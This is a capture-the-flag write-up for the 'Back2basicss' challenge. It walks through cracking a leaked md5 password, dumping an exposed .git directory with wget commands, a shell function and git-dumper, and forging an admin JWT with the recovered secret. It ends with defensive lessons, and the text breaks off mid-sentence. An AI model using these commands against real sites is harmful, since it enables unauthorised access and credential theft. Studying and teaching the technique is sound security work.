Billy Bromell

pwnEd CTF :: Back2basicss

·6 mins

Challenge

Challenge Overview

Getting Started

By going to the site and navigating around, the most promising looking page is the login page. Inspecting the source we can find a comment with what looks like credentials.

Login Page
Credentials in Source
<!--- user@sigint.mx:4297f44b13955235245b2497399d7a93 -->

If you try to enter these credentials it won’t work - this is because we have been given a hashed password, which will then be rehashed when checking against the correct password.

As the hash contains 32 hex characters, it is likely to be an md5 hash. We could attempt to crack this ourselves using dictionary attacks or brute force, but a quicker method we should check first is using a lookup table, such as that provided by crackstation. Using this we find that the password is "123123".

Attempting to log in again with this password is successful…​ but we only have user access!

User Login Success

Using the Clue

From gaining user access we were given the following clue: Hello user, only admins get flags :P You might need to git good!.

"only admins get flags"

The first bit tells us we only have user access, but we need admin access to get the flag. By looking at our cookies we can see that we are authorised with a cookie with the key login. Looking at the value it can be recognised as a JSON Web Token (JWT). It is worth reading about JWTs if you haven’t yet come across them in order to understand how they can provide secure authentication.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjowfQ.7Ofwz0UBEa_rfiqGSIpc-KYlGR7nM1CNjmkT_-Re7O8

We can decode this at jwt.io.

Decoding the JWT

We can see that 'user' has a user_id of 0. By changing this, we might be able to access the page as a different user - such as the admin.

We can test this by changing the user_id to 1 and replacing our login cookie with the changed encoded token from jwt.io.

Using the Modified JWT

This gives us an invalid signature error - as we don’t have the private key used by the server for signing and verifying the token’s payload. When we modified the payload with jwt.io, we didn’t provide a private key, so the default string "your-256-bit-secret" was used as the secret.

If the solution involves modifying the JWT payload, we need to find the secret used by the server.

"You might need to git good"

The typo git instead of get suggests that git is being used for source code version control.

A mistake which is often made when serving a website, is pointing the web root (the file path from which we are serving the website) to the git repository.

The problem with this is that git uses a hidden directory .git to store everything it needs for version control - including commit messages, previous versions of code etc. This could provide useful info such as a commit message that mentions a bug, or previous code which contained a sensitive info such as a password, api token or a secret for signing and verifying JWTs.

By going to the endpoint /.git on the website we get a 403 forbidden response. However if we go to something different such as /.gitAAA we get a 404 not found response.

This suggests that the /.git endpoint exists, but directory listing is not enabled. After inspecting the tree of a local git repo (tree -a myrepo/.git), I found some endpoints that I should be able to test for on the site.

Going to /.git/logs/HEAD we find a commit log for the HEAD of the git repo.

Git Log
commit: Ups forgot to remove the secret lmao

This is promising - if the secret being referred to is the JWT secret, we should be able to get this from the git repo.

First we need to get a copy of the git repo.

As I’m dumb and didn’t think to look for tools to automate this, I downloaded the git objects manually until I had enough to get the secret.

First we make an empty repo to start rebuilding from:

mkdir -p b2b_repo
cd b2b_repo
git init

Now we can download the ref to the master branch:

wget http://34.89.80.112:11003/.git/refs/heads/master
mv master .git/refs/heads/master

We can download the commit object being pointed to by this by using the git object path scheme .git/objects/[first-2-chars]/[last-38-chars], as shown in the post here.

cat .git/refs/heads/master
# output: d18d93407b3267b8f261f5d85d9151e9df901f21

wget http://34.89.80.112:11003/.git/objects/d1/8d93407b3267b8f261f5d85d9151e9df901f21
mkdir -p .git/objects/d1
mv 8d93407b3267b8f261f5d85d9151e9df901f21 .git/objects/d1

We can get more info about this commit with the following:

$ git cat-file -p d18d93407b3267b8f261f5d85d9151e9df901f21

tree c31ee8d0e732ca47742f822c1bb79dc706a7f21b
parent 3d760de78c5b4e979d672d7a312451801917fc28
author Sud0 <sudo@sudo.sudo> 1614017924 +0000
committer Sud0 <sudo@sudo.sudo> 1614017924 +0000

Final version

We now know the hash for the tree object and parent object - so we can download them to our local repo.

We can make a shell function to download an object quicker:

function download_gitobj(){ # $1 = object hash
    BASE_URL="http://34.89.80.112:11003"
    OBJ_HASH=$1 # assign variable so easier to read
    first_2=${OBJ_HASH:0:2} # get first 2 characters of the hash
    last_38=${OBJ_HASH:2:38} # get last 38 characters of the hash
    object_path=".git/objects/${first_2}/${last_38}" # get full path for git object
    mkdir -p .git/objects/${first_2} # check directory exists to download object to
    wget "${BASE_URL}/${object_path}" -O $object_path # download object
}

Although this is a janky™ solution, my next stage was downloading all git objects needed to run git log successfully:

Failed Git Log

The output above shows us which git objects are missing, causing the command to fail. We can download these using our shell function, and run git log again, repeating this until we see no errors related to missing objects. Luckily this worked the first time.

Successful Git Log

Now we can see the commits and commit messages - we want to find what was changed in the commit with the message Ups forgot to remove the secret lmao. To do this we can use git diff:

git diff f88f31725517...3d760de78c
Failed Git Diff

But…​ we get more errors about missing objects. So lets download it with our shell function again:

download_gitobj 669f7e5d39133dc090771b88f47b91f4329fc392

git diff f88f31725517...3d760de78c

# repeat above until git diff runs with no errors

After repeating this a few times we get some output:

Useful Git Diff

Looks like we have our secret!

Putting it Together

Now we have the secret we can try to modify the jwt payload again. We can paste the secret over the placeholder with 'your-256-bit-secret' and try with user_id as 1 again:

Modifying the JWT

Now lets set our 'login' cookie to this new token and attempt to reach /login.php on the site again.

This time we get the flag!

Flag

Tools for Downloading Git Repos

If you have more braincells than me you might think this could be done quicker with some kind of tool - and you’d be right. One example is git-dumper - a python script which downloads a repo for you.

This makes the second stage much quicker:

git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip3 install -r requirements.txt

./git-dumper.py http://34.89.80.112:11003/.git /tmp/b2b_repo

cd /tmp/b2b_repo
git log
git diff f88f31725517...3d760de78c

Key Lessons

  • Do not store your git repo in your server’s web root unless you are sure you have restricted access to .git/*

  • Disabling directory listing on your web server is a good idea but it won’t save you here

  • If you ever accidentally push a password / api key / other sensitive info to a repo (we’ve all been there), changing it in a new commit isn’t good enough - either remove it with a tool such as BFG Repo-Cleaner or delete the repo, and start again from the state where sensitive data has been removed. If possible you should also change the password / revoke the token if this